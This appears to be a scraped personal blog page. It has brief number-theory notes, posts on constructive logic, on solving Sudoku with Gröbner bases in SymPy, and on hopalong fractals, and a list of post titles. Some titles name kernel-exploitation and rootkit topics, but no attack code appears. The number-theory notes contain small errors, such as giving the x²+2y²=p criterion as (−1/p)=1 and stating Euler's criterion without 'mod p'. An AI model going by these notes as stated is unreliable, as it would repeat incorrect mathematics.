$\forall p\in\mathbb{P}\setminus\{2\}:\;\mathbb{Z}_{p^\alpha},\;\mathbb{Z}_2,\;\mathbb{Z}_4\;\mathbb{Z}_{2p^\alpha}$ is cyclic.

The Legendre Symbol

$a\in\mathbb{Z},\;gcd(a,n)=1$ is called quadratic residue modulo $n:\Leftrightarrow x^2\equiv a\;(mod\;n)$ is solvable

$\mathfrak{R}:=\{\overline{a}\in\mathbb{Z}_p^*:\, a$ is a quadratic residue mod p$\}\leq\mathbb{Z}_n^* \quad\lvert \mathfrak{R}\rvert=\frac{p-1}{2}$

\[2\neq p\in\mathbb{P},\;a\in\mathbb{Z}\]

Definition of the Legendre symbol $\begin{equation} \left(\frac{a}{p}\right):=\begin{cases} 1,&gcd(a,p)=1,\text{ a is a quadratic residue mod p}\\ -1,&gcd(a,p)=1,\text{ a is a quadratic nonresidue mod p}\\ \end{cases} \end{equation}$

The Legendre symbol has the following properties:

\[a\equiv b\;(mod\;p)\Rightarrow \left(\frac{a}{p}\right)=\left(\frac{b}{p}\right)\]
\[\left(\frac{a\cdot b}{p}\right)=\left(\frac{a}{p}\right)\cdot\left(\frac{b}{p}\right)\]
\[\left(\frac{a^2}{p}\right)=1\Leftrightarrow p\nmid a\]
\[\left(\frac{2}{p}\right)=1\Leftrightarrow p=\pm 1\;(mod\;8)\]
Euler: $\left(\frac{a}{p}\right)=a^{\frac{p-1}{2}}$

Law of Quadratic Reciprocity: Let $2\neq p,q\in\mathbb{P},\;p\neq q:$. Then

\[\begin{equation} \left(\frac{p}{q}\right)\cdot\left(\frac{q}{p}\right)=(-1)^{\frac{p-1}{2}\cdot\frac{q-1}{2}} =\begin{cases} -1, & p\equiv q\equiv 3\;(mod\;4) \\ 1, & else \\ \end{cases} \end{equation}\] \[\left(\frac{-1}{p}\right)=(-1)^{\frac{p-1}{2}}\] \[\begin{equation} \left(\frac{2}{p}\right)=(-1)^{\frac{p^2-1}{8}} =\begin{cases} 1, & p=\pm1\;(mod\;8) \\ -1, & p=\pm3\;(mod\;8) \\ \end{cases} \end{equation}\]

The Diophantine Equation $x^2-my^2=\pm p$

$gcd(p,k,m)=1,\;2\neq p\in\mathbb{P},\;x^2-my^2=kp$ solvable $\Rightarrow(\frac{m}{p})=1$

$x^2+2y^2=p,\;2\neq p\in\mathbb{P}$ solvable $\Leftrightarrow p\equiv1,\;3\;(mod\;8)\Leftrightarrow(\frac{-1}{p})=1$

Constructive Logic

2021-09-19T00:00:00+00:00

Introduction

Today, I talk a little bit about constructive or intuitionistic logic. I am not a constructive logician but I enjoy their ideas and hope that I repeat their point of view undistorted.

In a nutshell, constructive logic is a new approach to the foundations of mathematics that only allows for constructive proofs.

Arguments for Constructive Logic

Computability

In classical math, there were theorems that proved the existence of objects without telling how to find them. Many jokes about mathematicians are based on this fact. The punch line of these types of jokes is usually that problems are “solvable” or even “uniquely solvable” without presenting the solution.

It cannot be dismissed that through the emergence of computers, it may be nice to have a way to construct objects with special properties, instead of only knowing about their existence. More formally, we can consider a theorem along the following lines: For all objects x from some domain there is an object y, such that some proposition A(x,y) is true. However, there is no way to find that y. What we want instead of the existence theorem is a function y(x) that computes a y given an x, such that A(x,y(x)) is true.

Truth

A second more philosophical argument for constructive logic revolves around the notion of truth itself. In classical logic, truth is simply a value that is assigned to a statement. The truth of a statement follows from internal logical conclusions, probably referring to an external reality. In constructive logic, the notion of truth is substituted by constructibility. Things are only true if they can be constructed.

The Law of the Excluded Middle (LEM) and Constructibility

In a nutshell, constructive logic is constructive because it gets rid of the law of the excluded middle (LEM).

The history of LEM goes back to Aristotle. Aristotle said that of two contradictory statements one must be true, and the other false. In more modern language this means that a statement is either true or false, there is no third truth value. I.e., the “middle” is excluded.

So, How does LEM lead to unconstructiveness? This is due to the fact that LEM allows for proofs by contradiction which are not constructive. These proofs are generally like the following.

Assume there is no x, such that a proposition P(x) is true. Then, after some logical inductions, we receive a contradiction. Consequently, the assumption was not true. According to LEM, this means that the assumption that there is no such x is wrong. So, there is such an x, but we do not know how to find it.

This is clearly not constructive. And that is the reason why constructive logic does not use LEM.

Note that constructive logicians do not think that LEM is wrong. Merely, that it may not always hold.

A Note on the Axiom of Choice

If you are a fan of the axiom of choice and are interested in constructive mathematics I have bad news for you. The axiom of choice implies the law of the excluded middle. This fact is called Diaconescu’s Theorem. As a consequence, a constructive set theory cannot use the axiom of choice.

Summary

Constructive or intuitionistic logic is a weaker form of logic than classical logic. This means that it is more conservative in what it allows to infer. Everything that is true in constructive logic is true in classical logic but not the other way around. However, the main benefit of constructive logic is that its objects can be constructed.

Solving Sudoku Algebraically

2021-08-07T00:00:00+00:00

Introduction

In today’s post I will show you how to solve a sudoku using tools from algebraic geometry.

Sudokus consist of a 9x9 grid containing some numbers, together with some special requirements. The task is to fill in the missing numbers. If you do not know what a sudoku is, please take a look here.

The usual approach for solving sudokus is a back-tracking approach. The first empty cell is filled in with a one and the conditions are checked. If the conditions are met, the algorithm continues with the next cell. If the conditions are not met, the current number is increased. If the current number is one, then execution continues at the previous number. This is the usual algorithmic approach for solving a sudoku. However, this does not give us any intuition about the problem.

In this blog post I will define the sudoku as a set of polynomial equations. These equations can be solved in order to yield the solution (supposing the solution is unique). As we are using tools from algebraic geometry, we can get more intuition about sudokus (at least if you are a mathematician). If you are not a mathematician I hope you find the presented methods beautiful nevertheless. If you are just interested in the code without so much math, scroll down.

Idea

First, we introduce variables $x_0, ..., x_{80}$, one for each cell in the sudoku. Formally, we are now dealing with the polynomial ring $\mathbb{Q}[x_0, ..., x_{80}]$. The idea is to encode the conditions on the sudoku as a set of polynomials $F\subset \mathbb{Q}[x_0, ..., x_{80}]$. Using Hilberts Nullstellensatz the vanishing set $V(\langle F\rangle)$ of the ideal generated by $F$ corresponds to an algebraic variety $V(\langle F\rangle)\subset \mathbb{Q}^{81}$. If we have done everything correctly then $F$ is a maximal ideal and therefore its form is $\langle x_0-a_0, ..., x_{80}-a_{80}\rangle$ from which we can simply read the solution.

So, from an intuitive point of view, each polynomial within $F$ defines some subspace in that 81-dimensional space. If take the locus where all polynomials vanish, then this point should correspond to the solution of the sudoku.

The equations

In this paragraph, I will define the necessary equations which we put in F.

For restricting the values to whole numbers from 1 to 9, we can define the following polynomials for all $i=0, ..., 80$.

\[\begin{align*} F_i=(x_i-1)\cdot(x_i-2)\cdot(x_i-3)\cdot(x_i-4)\cdot(x_i-5)\cdot(x_i-6)\cdot(x_i-7)\cdot(x_i-8)\cdot(x_i-9) \end{align*}\]

It is clear that this polynomial vanishes exactly at $1,2,...,9$.

Next, we want to define polynomials for the condition that each number can only be used once in each column/row, and in each block. This can be done by defining that the sum of all columns/rows and of each block should be $45$. Its product should be $362880$. And with these two conditions we have no duplicate numbers.

Addendum from 2024-03-08: This is not true. Matthias Paulsen informed me by mail that these two properties do not uniquely determine that each number is used exactly once. Take as example the numbers 1, 2, 4, 4, 4, 5, 7, 9, 9. Then their sum is also $45$ and their product is $362880$. Thus, my sudoku solver may yield more (incorrect) solutions. Thanks, Matthias. Instead a correct set of polynomials is $G_ij=(F_i/F_j)/(x_i-x_j)$ for all $i, j$, with $i\not =j$ and $x_i$ and $x_j$ in the same block and row. However, this leads to my program becoming unbearably slow.

As a last step, some of the cells in the sudoku are already filled out. We call the numbers there $a_j$, where $J\subset\{1, ..., 80\}$. Then, we can define new polynomials for each $j$.

\[\begin{align*} x_j-a_j \end{align*}\]

Setting these two zero gives us a hyperplane that cuts the space at the desired point.

Solving the equations

Now we have a system of polynomial equations in $81$ unknowns. In particular we have 135 equations plus one for each given cell in the sudoku. How do we solve this system?

For linear systems of equations there is Gaussian elimination which transforms a system of linear equations into a standard representation. In the case of linear equations, this normal form is a triangular matrix. For systems of polynomial equations there is also a normal form, called the Gröbner basis. And there is Buchberger’s algorithm which can compute a Gröbner basis. In a very real sense Buchberger’s algorithm is a generalization of Gaussian elimination and in the case of linear equations those two algorithms are equal.

So, in summary we can use Buchberger’s algorithm to compute a Gröbner basis of the equations and then read off the solution to the sudoku.

Code

In this section you can find the code. Please be aware that the code is slow. This is not due to my coding skills, but due to the Buchberger algorithm being slow.

from sympy import groebner, symbols
x = [symbols('x%d' % i) for i in range(81)]

sudoku = [0,3,0,0,0,0,0,0,0,
          0,0,0,1,9,5,0,0,0,
          0,0,8,0,0,0,5,6,7,
          8,0,0,0,6,0,0,0,0,
          4,0,0,8,0,0,0,0,1,
          0,0,0,0,2,0,0,0,0,
          0,6,0,0,0,0,2,8,0,
          0,0,0,4,1,9,0,0,5,
          0,0,0,0,0,0,0,7,0]

% solution = [5,3,4,6,7,8,9,1,2,
%             6,7,2,1,9,5,3,4,8,
%             1,9,8,3,4,2,5,6,7,
%             8,5,9,7,6,1,4,2,3,
%             4,2,6,8,5,3,7,9,1,
%             7,1,3,9,2,4,8,5,6,
%             9,6,1,5,3,7,2,8,4,
%             2,8,7,4,1,9,6,3,5,
%             3,4,5,2,8,6,1,7,9]

F=[]

# Restrict values to 1-9
for xi in x:
  F.append((xi-1)*(xi-2)*(xi-3)*(xi-4)*(xi-5)*(xi-6)*(xi-7)*(xi-8)*(xi-9))

# Sum of lines = 45
for i in range(0,80,9):
  F.append(x[i]+x[i+1]+x[i+2]+x[i+3]+x[i+4]+x[i+5]+x[i+6]+x[i+7]+x[i+8]-45)
for i in range(9):
  F.append(x[i]+x[i+9]+x[i+18]+x[i+27]+x[i+36]+x[i+45]+x[i+54]+x[i+63]+x[i+72]-45)
# Product of lines = 362880
for i in range(0,80,9):
  F.append(x[i]*x[i+1]*x[i+2]*x[i+3]*x[i+4]*x[i+5]*x[i+6]*x[i+7]*x[i+8]-362880)
for i in range(9):
  F.append(x[i]*x[i+9]*x[i+18]*x[i+27]*x[i+36]*x[i+45]*x[i+54]*x[i+63]*x[i+72]-362880)

# Blocks sum to 45
for i in [0,3,6,27,30,33,54,57,60]:
  F.append(x[i]+x[i+1]+x[i+2]+x[i+9]+x[i+10]+x[i+11]+x[i+18]+x[i+19]+x[i+20]-45)
# Product of numbers in blocks = 362880
for i in [0,3,6,27,30,33,54,57,60]:
  F.append(x[i]*x[i+1]*x[i+2]*x[i+9]*x[i+10]*x[i+11]*x[i+18]*x[i+19]*x[i+20]-362880)


# Addendum from 2024-03-08: As already written above, these
# polynomials are not enough. To restrict the Sudoku solver to only
# output valid solutions, the following equations can be used instead
# of the line and block condition. Note that the program becomes
# unbearably slow.
#
# def G(y):
#     for xi in y:
#         fi=(xi-1)*(xi-2)*(xi-3)*(xi-4)*(xi-5)*(xi-6)*(xi-7)*(xi-8)*(xi-9)
#         for xj in y:
#             if xi != xj:
#                 fj=(xj-1)*(xj-2)*(xj-3)*(xj-4)*(xj-5)*(xj-6)*(xj-7)*(xj-8)*(xj-9)
#                 F.append((fi-fj)/(xi-xj))
#
# # all lines and blocks that contain different numbers
# G((x[0],x[1],x[2],x[3],x[4],x[5],x[6],x[7],x[8]))
# G((x[9],x[10],x[11],x[12],x[13],x[14],x[15],x[16],x[17]))
# G((x[18],x[19],x[20],x[21],x[22],x[23],x[24],x[25],x[26]))
# G((x[27],x[28],x[29],x[30],x[31],x[32],x[33],x[34],x[35]))
# G((x[36],x[37],x[38],x[39],x[40],x[41],x[42],x[43],x[44]))
# G((x[45],x[46],x[47],x[48],x[49],x[50],x[51],x[52],x[53]))
# G((x[54],x[55],x[56],x[57],x[58],x[59],x[60],x[61],x[62]))
# G((x[63],x[64],x[65],x[66],x[67],x[68],x[69],x[70],x[71]))
# G((x[72],x[73],x[74],x[75],x[76],x[77],x[78],x[79],x[80]))
# G((x[0],x[9],x[18],x[27],x[36],x[45],x[54],x[63],x[72]))
# G((x[1],x[10],x[19],x[28],x[37],x[46],x[55],x[64],x[73]))
# G((x[2],x[11],x[20],x[29],x[38],x[47],x[56],x[65],x[74]))
# G((x[3],x[12],x[21],x[30],x[39],x[48],x[57],x[66],x[75]))
# G((x[4],x[13],x[22],x[31],x[40],x[49],x[58],x[67],x[76]))
# G((x[5],x[14],x[23],x[32],x[41],x[50],x[59],x[68],x[77]))
# G((x[6],x[15],x[24],x[33],x[42],x[51],x[60],x[69],x[78]))
# G((x[7],x[16],x[25],x[34],x[43],x[52],x[61],x[70],x[79]))
# G((x[8],x[17],x[26],x[35],x[44],x[53],x[62],x[71],x[80]))
# G((x[0],x[1],x[2],x[9],x[10],x[11],x[18],x[19],x[20]))
# G((x[3],x[4],x[5],x[12],x[13],x[14],x[21],x[22],x[23]))
# G((x[6],x[7],x[8],x[15],x[16],x[17],x[24],x[25],x[26]))
# G((x[27],x[28],x[29],x[36],x[37],x[38],x[45],x[46],x[47]))
# G((x[30],x[31],x[32],x[39],x[40],x[41],x[48],x[49],x[50]))
# G((x[33],x[34],x[35],x[42],x[43],x[44],x[51],x[52],x[53]))
# G((x[54],x[55],x[56],x[63],x[64],x[65],x[72],x[73],x[74]))
# G((x[57],x[58],x[59],x[66],x[67],x[68],x[75],x[76],x[77]))
# G((x[60],x[61],x[62],x[69],x[70],x[71],x[78],x[79],x[80]))

# Fix points
# Due to how the Buchberger algorithm for computing Gröbner bases
# works, this is significantly faster, if we prepend the equations.
for count, val in enumerate(sudoku):
  if val != 0:
    F.insert(0,x[count]-val)

G = groebner(F)

If you execute the code and wait long enough, then G contains the Gröbner basis representation of the maximal ideal corresponding to the solution of the sudoku as shown below.

GroebnerBasis([x0 - 5, x1 - 3, x2 - 4, x3 - 6, x4 - 7, x5 - 8, x6 - 9, x7 - 1, x8 - 2, x9 - 6, x10 - 7, x11 - 2, x12 - 1, x13 - 9, x14 - 5, x15 - 3, x16 - 4, x17 - 8, x18 - 1, x19 - 9, x20 - 8, x21 - 3, x22 - 4, x23 - 2, x24 - 5, x25 - 6, x26 - 7, x27 - 8, x28 - 5, x29 - 9, x30 - 7, x31 - 6, x32 - 1, x33 - 4, x34 - 2, x35 - 3, x36 - 4, x37 - 2, x38 - 6, x39 - 8, x40 - 5, x41 - 3, x42 - 7, x43 - 9, x44 - 1, x45 - 7, x46 - 1, x47 - 3, x48 - 9, x49 - 2, x50 - 4, x51 - 8, x52 - 5, x53 - 6, x54 - 9, x55 - 6, x56 - 1, x57 - 5, x58 - 3, x59 - 7, x60 - 2, x61 - 8, x62 - 4, x63 - 2, x64 - 8, x65 - 7, x66 - 4, x67 - 1, x68 - 9, x69 - 6, x70 - 3, x71 - 5, x72 - 3, x73 - 4, x74 - 5, x75 - 2, x76 - 8, x77 - 6, x78 - 1, x79 - 7, x80 - 9], x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15, x16, x17, x18, x19, x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x30, x31, x32, x33, x34, x35, x36, x37, x38, x39, x40, x41, x42, x43, x44, x45, x46, x47, x48, x49, x50, x51, x52, x53, x54, x55, x56, x57, x58, x59, x60, x61, x62, x63, x64, x65, x66, x67, x68, x69, x70, x71, x72, x73, x74, x75, x76, x77, x78, x79, x80, domain='ZZ', order='lex')

So we can see that $x0$ is $5$, $x1$ is $3$, and so on.

FAQ

Your algorithm is stupidly slow

Yes. That is due to the Buchberger algorithm being slow. If you are looking for performance, you need a different approach. You could try to choose a different monomial ordering or even rotate the sudoku. All of this can impact the performance. In fact, the fast computation of Gröbner bases is a current research topic.

Where did you find the inspiration?

Back when I was studying math at university, I read “A First Course in Computational Algebraic Geometry” by Wolfram Decker and Gerhard Pfister. There, in the last chapter, there is an approach to solve sudokus using Gröbner bases. However, the approach given there is different. In particular they are using a different set of equations.

Hopalongs

2021-05-29T00:00:00+00:00

Back, when the internet was still small and i was still a pupil I had an intense fascination with fractals. Among others, I worked on so called hopalongs. These are orbits of a special map. They were discovered by Barry Martin of Aston University in Birmingham. In 1986 they were popularized in the Scientific American by the well-known recreational mathematician Dewdney. The hopalong map is iteratively applied to a point (x,y) and the resulting points are plotted. The hopalong map takes three parameters, a, b, and c. Interestingly, the final image does not really depend on the starting point, but is very sensitive to changes in the parameters.

A previous collaboration of me on Hopalongs was with Schwebinghaus.

Back then, I programmed in Basic and bad Java, so I thought it would be a nice nostalgic experience to program hopalongs in Python. Below is the code and some nice images.

If you are capable of understanding German, you should also take a look here.

If you want to follow along with a jupyter notebook, you can download it from here.

import seaborn as sns
import numpy as np

def create_hopalong(a, b, c, n=5000):
    x = np.zeros(n)
    y = np.zeros(n)
    for i in range(n-1):
        x[i+1] = y[i]-np.sign(x[i])*np.sqrt(abs(b*x[i]-c))
        y[i+1] = a-x[i]
    return(x,y)

x,y = create_hopalong(0.7,1,0.3)
sns.jointplot(x=x,y=y)

x,y = create_hopalong(0.7,0.3,0)
sns.jointplot(x=x,y=y)

x,y = create_hopalong(0.5,0.3,0,100000)
sns.jointplot(x=x,y=y)

x,y = create_hopalong(0.2,0.3,0.2)
sns.jointplot(x=x,y=y)

x,y = create_hopalong(0.1,0.3,0.2)
sns.jointplot(x=x,y=y)

x,y = create_hopalong(0.11,0.3,0.2)
sns.jointplot(x=x,y=y)

x,y = create_hopalong(0.111,0.3,0.2)
sns.jointplot(x=x,y=y)

x,y = create_hopalong(0.111,0.4,0.2, 10000)
sns.jointplot(x=x,y=y)

x,y = create_hopalong(0.111,0.4,0.2, 15000)
sns.jointplot(x=x,y=y)

x,y = create_hopalong(0.111,0.4,0.2, 30000)
sns.jointplot(x=x,y=y)

koppian adventures

On The Konmari Cleaning Method

Introduction

The KonMari System

Conclusion

The Modprobe Path Technique

The Technique

Demonstrating the Technique

Getting the Address of modprobe_path

Getting the Address of the KPTI-Trampoline

Arbitrary Address Write Primitive

The Payload

Final Code and Walkthrough

Mitigations

References

Thoughts On The Astronauts

Thoughts On Prometheus Rising

Background

Thinker and Prover

Reality Tunnels

Architects

Changing Reality Tunnels

Conclusion

An Ld_preload Toy Rootkit

Preliminaries

Source Code

Detection

Introduction To Linux Kernel Exploitation

Prelude

Setup

vmlinuz

initramfs.cpio.gz

run.sh

Kernel Security Mitigations

Reconnaissance

Leaking the Stack

Controlling RIP

Privilege Escalation Without Any Mitigations: Ret2Usr

Adding SMEP/SMAP

Alternative way of bypassing SMEP but not SMAP

Adding KPTI

KPTI Bypass 1: Using a Signal Handler

KPTI Bypass 2: KPTI Trampolines

KPTI Bypass 3: Abuse Modprobe

Adding KASLR

Preliminaries

Reconnaissance

Investigating the Stack

Comparing Addresses of Kernel Symbols

Leaking the Addresses of prepare_kernel_cred and commit_cred

Game Plan

Complete Code

Conclusion/Summary

Resources

Security Research Lacks Scientific Significance

My background

Security “Research”

A Way Forward

The Great Matter Of Life And Death

Meets And Joins

Introduction

Preorders

Meets and Joins

Example: Real Numbers

Example: Sets with Inclusion

Example: Integers with Divisibility

Example: Oriented Graphs and Paths

Conclusion

Geras Insecure Programming Challenges

Introduction

Stack1.c

Stack2.c

Stack3.c

Stack4.c

Dns Wildcard Detection

Introduction

Background

Wildcard Detection

Detection Approach 1: Querying Nonexistent Subdomains

Detection Approach 2: Querying the Wildcard Directly

Getting the Address of `modprobe_path`

Leaking the Addresses of `prepare_kernel_cred` and `commit_cred`